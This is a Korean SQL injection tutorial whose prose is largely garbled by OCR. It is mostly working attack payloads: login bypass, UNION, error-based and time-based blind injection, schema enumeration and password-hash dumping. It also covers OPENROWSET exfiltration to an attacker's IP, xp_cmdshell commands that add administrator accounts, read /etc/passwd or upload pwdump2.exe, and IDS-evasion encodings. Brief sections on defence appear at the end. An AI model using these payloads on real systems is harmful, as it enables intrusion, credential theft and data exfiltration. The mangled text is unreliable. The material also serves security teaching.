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1R

SQL2 Structured Query Language2l HEZEO0IMH, AISXHAH OOIEH HIOIAE B2 & = UAH HECH
ST HES SQL99JI SQL Languagel EZ=0ICH SQL2 DBOI st QueryE AldH AlZ £ U1, DB

SRH +T/IM/YY/AM/SHO0E & = UCH

1.1 SQL Query

SQL Llanguagelil= &2 COE HEO0l AKXLH HO HIxxd IIAE FEAHE XISHCH(0l:
SELECT,UPDATE,DELETE,INSERT,WHERE &) (12 =2 SQL OIOIEHHOIA Z2082 sQL EE 20
S Aaletel & ANE IOt ACH 2AHE OOoIEBIolA= ot E£= 1 0142l HOIES Z£8

otnd, 229l 0I§ JH&LH HIOIE2 dZEE?2 HOIEHE JH&CH

0l) OtcHel EIOIZ Y2 “user’0l2 &t F= A OIOIE It HEEICE
userlD Name LastName Login Password
1 John Smith jsmith hello
2 Adam Taylor adamt awerty
3 Daniel Thompson dthompson dthompson

= HIOIE HIOIAZ SQL QueryE BUIAM, 210 gt2 T2 &2 £ UCLH 2 HIOI=2 0l8dlA Ch
2 22 QueryE AIE & == QULHL

a) SELECT LastName FROM users WHERE UserlD = 1;

b) 2t A(HRE A)

LastName
Smith

olo

1.2 DML & DLL
» Data Manipulation Language(dIOIEl Z=Z0{) : SELECT ,UPDATE ,INSERT INTO DELETES2t 20| d
OIHE ZX&Xol= HUHE < St
= Data Definition Language(IOIE H2l0{) : GIOIE H2OUZ A GIOIEHIOIA HOISES MA/AN 6
1, AEA(I)E 2, HIOIZ A0S 2HE & ot0, HIOIEHHIOIA HIOIZS ALOIS M =S

iy

0i) CREATE TABLE, ALTER TABLE, DROP TABLES 1 22 2

MO

1.3 Metadata

=2 SQL OIOIHHIOIASE2 2tHE CIOIEHIolA JIBHOICH. SQL Injectiong ®I8t SRSt AtA2
ZHE OO0IH HlolA= Codd2 1282 SUHA 48EES =4alsl =20 UCH= AO0ICH H4E
CIOIE (CIOIEAHIOI A0 28 HI0IE)= BHEAl L8ROI HIOIEISHE CIOIEHHolI AN HE
Ct. 8t OIOIE HIOlIAT == SQL QueryE= SohM AL =8 & = UL

ull

|0{OF &t
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1.4 & OoEciAold
CIOIEAHIOIA QXN &UsSt= SQL BESE MHES2AH0IES Sl 018 JtsGtCh 01XE 2
b

ir
e
10

HEE2 SSHe FAMOIES HAE S0l otLioICh 01X 2 We Appllcatlon_l 2H0 OHE A0l
DOBLt Web Server? 2HMIJt OtLICH HRES Z2HMHSE WAESI 0l 2ME CIAGHA ReHL @&
AN&EAe t2 SB2301 FeF ottt &4XI0 AHS0 HAIE E2 EF8=sE X 2ottt 229 aiZd=
|28t 60%It = D242 AIABO0lI SQL Injectiontl Fefotlt= 2UE W==C0 HRE2 SQL G0l

HHIOIAS 2|10 T2 eHY =2 &MESZ F UG DBMS= MS SQL Server, Oracle, MySQL,
Postgres, DB2, MS Access, Sybase, Informix 0| OILC}.

OHZCIA0IEE S& CIOIEHIoA B2 Y
= Perl and CGl scripts
ASP, JSP, PHP
XML, XSL and XSQL
Javascript
VB, MFC, and other ODBC-based tools and APIs
» DB specific Web-based applications and API's

Reports and DB Applications
3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

1.5 wpt=ol Forst 2701 el

SELECT * FROM users WHERE login = 'victor' AND password = '123'

1) ASP/MS SQL Server 290! 2%

var sql = "SELECT * FROM users WHERE login =" + formusr+ "' AND password ="' + formpwd + "'"";

HO

a)EXE &8t Injection

formusr="or 1=1 — -

formpwad = anything

b) =& Fcl 2

SELECT * FROM users WHERE username ="' "' or 1=1 — — AND password = 'anything'

2) PHP/MySQL 219! 2¢

$sql = "SELECT = FROM clients WHERE account = $formacct AND pin = $formpin";

® osirRiIs - KISEC 14aTH

-4 -




Written by Osiris Thomas

$formacct=1 or 1=1 #

$formpin = 1111

b) 2& Fcl 2

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

2 SQL Injection HIAE YHE

1) 92 2t 2

0l

3) 1=1 ==& 5) OS Interaction

ro
]

rn
=
0z
IS
1
$9
kJ
=}
&
10
=
001
o
1
1n

M= oHOk
a
URL el AEES AFJEHE 1ty st
FI| L= ole EE0 MEE 8

Orciel 2gs 2= 28 220l BHIAEHOF

O

O

)
)
)
)

ro
]

d

s 2X ) #] D>

* SQL Query EE S ZW(REZAH 20l

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec)
= XA 2l waitfor delay '0:0:10'——
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a) €3 Hz3LIES H+15610]

1. & OiEcAH0l&e Fel 2Dt &t
2. 0ld CIAIXI @ ol BIAIXIZRH 22 gt 2328 2F & = ULL
3. Blind SQL Injection : Al2t2l XA L= O A

mlo
=4
00
o
]

Injection® SQL Injectiondt H2l HIZ=3tXIB, 2 QueryE SoiM &
(.

C gtolLt HIOISZ Y &2 EE ==i0F of22, i<

B 0ld OIAIXIE Soikd 82 =& oI
. g & old

' group by columnnames having 1=1 — -

i. Erglel 22Xl

"union select 7,7, text’ 1.1,7 — -

"union select 7,7, bigint. 1,1,1 — —

A

i. 0 £2 Y¥Ho=z, DBUHIA ot QueryE 0l

o
Q

i

"and 1 in (select 'text' ) — —

iv. OIOIEHE CASTEE= CONVERTEHAHAIE OlZ8H OISBAIX &% E X060

B Blind Injection
i. 28 Al U= G

Il
1]

a4 2JF
—/ BA

o
(=)
0

"and condition and '1'="1

i. FES AIS

' if condition waitfor delay '0:0:5' ——

', union select if( condition , benchmark (100000, shal('test")), 'false' ),1,1,1,1;

A= Z20l Choll CIHEIE ==

& 2o Uloleol thet ASCligts =2

rr

TH
o
I ®

ol

i, FIEC=2 Rele BE B2 QueryE &8 & %= UX|B
Ct. 22l ©X yes/no = =

UL i< 22 =Y

o 00
:
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b) Aelel oldH

i. SELECT @& & - W22 Injection2 SELECT E&E 0IE&HC.

SELECT * FROM table WHERE x = ‘normalinput’ group by x having 1=1 ——
GROUP BY x HAVING x =y ORDER BY x

ALK
T o

ii. UPDATE HHEE — Oleliet 20| & OHE2IHOIENA Ealo IHARE B2
UPDATE users SET password = 'new password' WHERE login = /ogged.user

o
!
1
s
o

AND password = 'old password'

c) OIOIEHIOIA Bt 2H

SE29 2 ol ANl Hd DBARXIS AMESt=X & &L ODBCHId= DB Ete (=2t0
Y 2o FE2ZM)S LIEIHCE 2ref0l ODBC Olefdt a5t 228, 0™ OS2t Web SeverS
ALSotXIE F==ollOF ot ALt SE8t DBEA, BE0, MEE ZZAIME Set 0ldd HAIXIE AtSoiok

Je

= DBMSE XHOIE (1)

MS SQL Oracle Postgres
Tsqu | MySQL | Access | pusop | PB2 | ppgsal
Concatenate Vg concat wupn Vo W, Vg
Strings * ¢ & I + I
Null Isnull() Ifnull() | IffdsnullQ) | Ifnull() Ifnull() | COALESCE()
replace
Position | CHARINDEX | LOCATE() InStr() InStr() InStr() TEXTPOS()
ob'S select into import
OPSYS| yh emdshell | outfile / | #date# utf_file from Call
interaction dumpfile export to
Cast Yes No No No Yes Yes

= DBMSE XOIE (2)

MS SQL | MySQL | Access | Oracle | DB2 | Postgres

UNION Y Y Y Y Y Y
N 4.0
Subselects Y Y41 N Y Y Y
Batch Queries Y N* N N N Y
Default stored Many N N Many N N
procedures
Linking DBs Y Y N Y Y N
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d) AL2Xtel &t WS 20 WL
i AL X2 e dEEs g

JlsS JHXLD UL

d= 20t Wl foidE HEE2 SQLUIA &= SQL9 UHHE Ofelet 22

=

user or current_user
session_user
system_user

"and 1 in (select user) ——

' if user="'dbo' waitfor delay '0:0:5 '——

" union select if( user() like 'root@%', benchmark(50000,shal(‘test')), 'false' );

i. Jl2 el AE

sa, system, sys, dba, admin, root S

ii. MS SQL OllAl dbo= OHE =0 RUACH. ALEX dbo= DBOIA 2=

2ES 488 4 U= FAS I
XD UCH MBSl DEE FE0 25He Sysadmin® DBE AI23H= 0fE SH= 2t DBUA dbodt D
sols Sga ABXUN HE S0l ACH E& sysadmin® O ALBTHH 2l BISOIF s Xt
SNOZ dboZ JHAICH

e) OS interaction dlgs Z2F

[=]

3) 1=1 Attacks
GIOIE HOolA, RHelx2x, #HEH) 2st 328 &

a) HIOIE0 E2AE MBXE EHGH= Query

"and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.") ——

b) DBOIA HIOIE ZEHES ZHol= AL
= MS SQL

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name =
‘tablename ')

sp_columns tablename (this stored procedure can be used instead)
= MySQL

show columns from tablename
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= Oracle
SELECT *» FROM all_tab_columns WHERE table_name='tablename
= DB2
SELECT » FROM syscat.columns WHERE tabname= 'tablename
» Postgres
SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0

c) 2 HOI2l ZHHS GtLIQ Query2 =2 Gt

"union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1,
1,1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id =

syscolumns.id AND syscolumns.xtype = systypes.xtype ——

d) MBHOIA Ct& diolEHiols & 6t

"and 1 in (select min(name ) from master.dbo.sysdatabases where name >'." ) ——

e) CIOIE HiolA2l I AX 22 Gt

"and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) —

d) 2F DBMSZ AIAHE HIOIS

MySQL MS SQL Server Oracle MS Access
SYS.USER_OBJECTS
sysobjects SYS.TAB MsysACEs
mysql .user
syscolumns SYS.USER_TEBLES MsysObjects
mysql .host
systypes SYS.USER_VIEWS MsysQuer ies
mysql .db
sysdatabases SYS.ALL_TABLES MsysRelationships
SYS.USER_TAB_COLUMNS
SYS.USER_CATALOG

e) ALEXIF HOoE HIOISUHAM ALEX0IEN HARE FZ6H)

'; begin declare @var varchar(8000) set @var=":"' select @var=@var+' '+login+'/'+password+" "
from users where login>@var select @var as var into temp end ——
"or 1 in (select var from temp) ——

', drop table temp ——
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f) QIOIEHIOIAG HA MABHD]
= MS SQL
exec sp_addlogin ' victor', 'Pass123

exec sp_addsrvrolemember 'victor, 'sysadmin'
= MySQL
INSERT INTO mysal.user (user, host, password) VALUES ('victor, 'localhost', PASSWORD('
Pass123))
= Access
CREATE USER victor IDENTIFIED BY ' Pass123
= Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD ' Pass123
= Oracle
CREATE USER victor IDENTIFIED BY Passi23
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO wvictor,
GRANT RESOURCE TO wvictor,

g) MS SQL Server dli#lgt F==5t0|
2

FCF

i g
. —

o g

o

SELECT name, password FROM master..sysxlogins

i. WARE olflgt =Z0otJ|

SELECT password FROM master..sysxlogins

ii. off#12t0l 2&%=(binary)0l22 16&I4=(hex)2 H&t5tC}.
begin @charvalue='0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF!
while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint int
select @tempint=CONVERT(int, SUBSTRING(@binvalue, @i, 1))
select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint — (@firstintx16)
select @charvalue=@charvalue + SUBSTRING (@hexstring, @firstint+1,1) +
SUBSTRING (@hexstring, @secondint+1, 1)
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select @i=@i+1 END

o

2ol &dict=s SE0

0%
[e]l]

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue
varchar(255), @i int, @length int, @hexstring char(16) set @var="" select @xdatei=(select
min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdatel <=
(select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select
@binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue =
'0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while
(@i<=@length) begin declare @tempint int, @firstint int, @secondint int select
@tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint - (@firstintx16) select @charvalue=@charvalue + SUBSTRING
(@hexstring, @firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end
select @var=@var+' | '+name+'/'+@charvalue  from  master.dbo.sysxlogins  where
xdate1=@xdate1 select @xdatel = (select isnull(min(xdate1),getdate()) from master..sysxlogins

where xdate1>@xdate1 and password is not null) end select @var as x into temp end end —

vi. 0led HIAIXIE SoA ol gt F==0tJI

i

» "and 1 in (select x from temp) —-

= "and 1 in (select substring (x, 256, 256) from temp) ——
= "and 1 in (select substring (x, 512, 256) from temp) ——
= ' drop table temp —-

» SQL HARE 3" AJEE

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:WtempWpasswords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd,
sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where
(owdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from
sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null
and syslogins.isntgroup=0 and syslogins.isntuser=0

drop table tempdb..passwords

® osirRiIs - KISEC 1aTH
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vi. DB 2t HI0IE &&6t)

SHorOll LIERZ 201 =0 80 ZEES SoiA clHA 230l d8 & = UyD, 2

=)

30
2

=

A

oI5t DBREE M4 ¥ 2 AUC

Step 1. & SQLAMH 0l Victimlt S8 DB X

>

4

0

clel 22 SQL AMHol &5 & =+ UCH GI0IE HIoIAS HIEIHIOIH 8522 22 SQL MHHl =

Written by Osiris Thomas

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;",

'select * from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases ——

insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;",

'select * from mydatabase..hacked_sysdatabases')

select * from user_database.dbo.sysobjects ——

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;",

'select * from mydatabase..hacked_syscolumns')

select * from user_database.dbo.syscolumns ——

step 2. HIOIEHE DB HIOI=S Otchel HE S Sotod g &85 & = UCH

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table1')

select x from database..tablel ——

' insert into

OPENROWSET('SQLoledb’,
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;",

'select * from mydatabase..table2')

select * from database..table?2 ——

5) 0S Interaction

OS Interactionlile &
QULCH & JIX B2 ASH0l DB A& 22| XU H Ml st

e

Sotd, fcle WA/AER} €8 E2Jt =0 U= O8I
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Al
=

4 o, 20|

o
4>
50
]

N

(]
02
o
fin

a) MySQL OS Interaction
i. LOAD_FILE

" union select 1,load_file('/etc/passwd'),1,1,1;

ii. LOAD DATA INFILE

create table temp( line blob );

load data infile '/etc/passwd' into table temp;

select * from temp;

iii. SELECT INTO OUTFILE

b) MS SQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' ——

'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' ——

'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp
where txt<@data ; select @data as x into temp end —-

"and 1 in (select substring(x,1,256) from temp) ——

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table

temp; drop table tmp ——

- 8 NHOIA DBOI B2 ats 2
220 A2 8 A DBA

Ol AHE SoHM ZYS &8 2 & AL

£ M

= €A %1, DBAH = Internetll S22 =0 AKXl &0t O0HZ2IA

Web Server Application Server Database Server
- l - -
—e —e —e
Web Input Injected SQL
Page Validation Execution!
Access Flaw
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= HERZ HZ0 82

i. B 0IS= Ol HAIXNIZ EE6H]

"and 1 in (select @@servername ) ——

"and 1 in (select srvname from master..sysservers ) ——

ii. Reverse lookupsE SdliAl IP &2 %=&3alJ|

'; exec master..xp_cmdshell 'nslookup a.com MyIP' ——

iii. Revers pings SolA IP 882 £=&5D]

'; exec master..xp_cmdshell 'ping MyIP' ——

iv. OPENROWSET
'; select * from OPENROWSET( 'SQLoledb’, 'uid=sa; pwd=Pass123;
Network=DBMSSOCN; Address=MyIP,80;",

'select * from table')

» HIERS olb B

. B & T 2AlM xp_cmdshellE 0|20t OtchHel HHES A

02

= Ipconfig /all

= Tracert mylP
= arp -a

= nbtstat —c

= netstat —ano

= route print

i. HEK A oldl 82 &AM Query

= '} declare @var varchar(256); set @var = ' del test.txt && arp —a >> test.txt && ipconfig /all >>
test.txt && nbtstat —c >> test.txt && netstat —ano >> test.txt && route print >> test.txt && tracert —
w 10 —=h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var —-

'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' ——

= ', begin declare @data varchar(8000) ; set @data=": ' ; select @data=@data+txt+' | ' from tmp

where txt<@data ; select @data as x into temp end ——

= "and 1 in (select substring(x,1,255) from temp) ——
= ', declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table

temp; drop table tmp ——
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* Linux based MySQL
" union select 1, (load_file('/etc/passwd')),1,1,1;

= MS SQL Windows Password Creation

', exec xp_cmdshell 'net user /add victor Pass123'——
', exec xp_cmdshell 'net localgroup /add administrators victor' ——
= Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' ——

i. ActiveX Xt& AJEE 0|8

= Speech example
'; declare @o int, @var int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed’, 150
exec sp_oamethod @o, 'speak’, NULL, 'warning, your sequel server has been hacked!', 1
waitfor delay '00:00:03" —-

i. dIXAECIZRE VNC IHARE DI

»'; declare @out binary(8)
exec  master..xp_regread  @rootkey="HKEY_LOCAL_MACHINE',
@key='SOFTWAREWORLWWInVNC3WDefault',
@value_name='Password’,
@value = @out output
select cast(@out as bigint) as x into TEMP--

= and 1 in (select cast(x as varchar) from temp) ——

= CIE DBAIHGI A& &I
i. MS SQLOI E3& MHE

bl

Jl

select * from sysservers
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pS|

ii. OPENROWSET Z&E AtZot0 gl ThE MBHE &
22 822 OPENROWSETS 0188 eltHA A&

Wy
s
=
1k
ru
o
4+
$2
[l

= 238 ABHUIE E=0] JHs6HH

'; insert into

OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;",

'select * from mydatabase..hacked_sysservers')
select * from master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;",

'select * from mydatabase..hacked_linked_sysservers')
select * from LinkedServer.master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;",

'select * from mydatabase..hacked_linked_sysdatabases')

select * from LinkedServer.master.dbo.sysdatabases

| 3H

I
>

- HZE DZANE S8 ¥ L Ay
OrorOl R MOl MEE DRAK A0l B0l ACH IHSE 210ICH

insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *

from mydatabase..hacked_sysservers')
exec Linked_Server.master.dbo.sp_executesal N'select * from master.dbo.sysservers'

insert into

OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from

mydatabase..hacked_sysdatabases')
exec Linked_Server.master.dbo.sp_executesal N'select * from

master.dbo.sysdatabases'

® osirRiIs - KISEC 1aTH
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= Reverse HHZ S S& IIY Y=

o

= '; create table AttackerTable (data text) ——

= '; bulk insert AttackerTabl
from 'owdump?2.exe' with (codepage='RAW')

= ', exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWAREWMicrosoftWMSSQLServerwClientwConnectTo','
MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80" ——

= '; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump?2.exe —-c —-Craw —
SMySrvAlias —Uvictor —PPass123' ——

= SQL Injection S& MY 2=

orer DBAHIF CIEY HZ0| SR 202tE, sl mee g2 & £ QUL DU I

Al 1682 2|10 Query 2X°] 222 2NN HOFRF SHCF IS BFEAl 2F 4000 byte2 L0 M
OF StCF.

Bt

[my

n

t

OII

Ol) 2t&st SQL Injection MY ¥2 =
Step 1. H X 2AHUA hexES binary B8 oHE ZZ Al M I} injectionk 01 0f

Step 2. CtS binaryE hex =22 & Injection ollOF StC}.

[

o
o

' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000:--
< 80007HS8 hex =2XH4000byte) —---0000000000000000000' exec master..sp_hex2bin @hex,

@bin output ; insert master..pwdump?2 select @bin ——

Step 3. binaryE HZ A2, OIS CA230 M& & %= UL

3 R3 Jl=
3.1 Q.

g gt 23 23 12l IDS R3] Jl=2 < dl=ottt. Snort J18t2 SQL Injection EXl= =2
Moz Jbsotlh. ddU 012 “sinatures”0l 2/ ESHCE "signatures™ &l LIE = UCH LA gl
Z3&,I0S Xl el ALNSH DB, OS &2 BtEAl 201 At S0 MO0k StCt.

to

3.2 IDS “signature” <
1) ‘OR 1=1 “signature” 23| 5}J|

Oteliet 28 2XUE SN 2

® osirRiIs - KISEC 1aTH
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= ' OR 'unusual' = 'unusual’

= ' OR 'something' = 'some'+'thing’
' OR 'text' = N'text'

= ' OR 'something' like 'some%'
'OR 2> 1

'OR 'text' > 't'

' OR 'whatever' IN (‘whatever')

' OR 2 BETWEEN 1 AND 3

3.3 92 gt AS &

5
» PHP addslashes() &=+ AlSot= MES2 2SS HH &2 UL

ton

single quote (')
double quote (")
backslash (W)

NUL (the NULL byte)

= =X EEOA RS 22 U g822M il f2 Jtsotlt.

3.4 3l <3l

i. OtcHel DHoHE = QI Y EHOZ DS, 4 &t &

Ol
fjo
H0
tol
ot
1
%0
o

= URL encoding
= Unicode/UTF-8
* Hex enconding

= char() function

» 212 2355 HS Inject (string = "%"):
' or username like char(37);
= 018 255 M Inject (string = "root"):
' union select * from users where login = char(114,111,111,116);
= Load files& 0I&8t unions AHZ (string = "/etc/passwd"):
" union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
= ENMote MY S M A(string = "n.ext"):
"and 1=(if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

ji. 28= 0/&8t IDS Sinature 23|

® osirRiIs - KISEC 1aTH
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= UNION SELECT Signature2t UNION[&]SELECT signature2 L2 H Q1A

EICt

- €, X 2lE, 2ol IS, 2ol F2 018 =L,

- 2% DS & DUHIIE PAIGHDE BWS MAGHE 20| TS Y0l 2 2 UL
OR'1'="1" (B2 2I0I) 2 024 80| AT

iv. =4 X2l& 0/&8t IDS Signature &

i

=[x %/ 2 SQLIYIAM O = 2 4 HMel € M MEE = JIs 0ICt
= UNION/**/SELECT/**/
= [xx[OR/**[1 [+x[=/*x/1
= 0l JHS Z2EOol Z2& Injectiong A &8HCt
USERNAME: 'or 1/*
PASSWORD: */ =1 -

v. 2E8 HZXIE 0|&¢8t IDS Signature 3
= OlcHQt 20| HHAE A & £ Q) EXE DB HESE A2 & 4 Ut
= My SQL
UNI/**/ON SEL/**/ECT
= QOracle
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
= MS SQL
'; EXEC ('SEL' + 'ECT US' + 'ER")
vi. B12=E 0|20l IDS, 22 gt 2E 23 5t

; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');
EXEC (@x)
EXEC SP_EXECUTESQL @x
» SIALE 018
; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6¢;
EXEC (@x)

f12 HHo= (2 AESHA §ERUACH
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4 SQL Injection CH

Written by Osiris Thomas

S got
4.1 4R

ZHEtE YO Y gt S22 tE SRet 2 S0l otLt OITH 42 BtEAl 23 g 2SS
2E MZ2 HEcIAHOI&EN AAIGHOE &Lt delld EMote ZE AAMOIEE T Atol 20k StCt.
FIIHECZ AHE ALoHH 2Zclior st IOIH diolAS HOIH B2 HEE ZZAIHE Sdt
O ¥Zotl, MEE ZZAIME MEE M OHHE =3t & APIE 0IE5tet. 2 €= & 83352 ¢
BIMOI SfEIZ 0/&6t, =48 AEHS DB ALZ X O HE0otct.

1) 2 gt 23

2t 2EE QI8 HoIH Bt Hol T, ZolE EtYe 5i& ZIN0F 8tCt. Oeld Y gtel &
E2 oA ZEHE AZoHO0F StCE 24 Injection X0 CHeh ZH= XSGl & T 040F StCt.
OteHet 22 X E2 BtEAl MH E 0k StCt.

ol) “"select", "insert", "update", "shutdown", "delete", "drop", "-=", """
2) MHE HD5HH 2L36H)
1.0B = AZEY RHE 2Fotet.
2. AtESHAl %= HEE ZZ2AIMS JIsS2 HMIAGHHLE 2el Mo Hete 82 AstS =0t
3. HOI®ES WD, SME AIAE Aol @22 MM ofet.
4. 2= MEX HES WARKEES L3t AlAHCH
5. 0lcl sel&El MBiel &35 M1 otet.
6. AHESHAl 2= UWERI ZE2EZE HMHotet.
7. 42" = e UERID & MY, 85y AHEH 22 i Eotct.
4.2 X & HEtAI3ID]

SQL Injection AI&Ol CHSF & Xl RASHCHH, SQL Injection AISE 20 €211, 0 Higz FNHE
£ 2UL, IPXE St1, SHIEX 22 0l HAIXIE BEUES ZFotet OIXsE2 43 AJEHE
DEQ TIO{OF BHCH.

43 Z&

SQL Injection & HEA0l1, Ot {AES HAFHOICH 2 Z2d AW 12l SQL DB= &M
ol HuHES N UL 23 obJ| oAM= 2=t CIAR, H&et 44 gt 35, Ao MY
£ 2Z olloF StLH.

x EXAE ¥ AN

[ 1] Advanced SQL Injection, (http://www.owasp.org).
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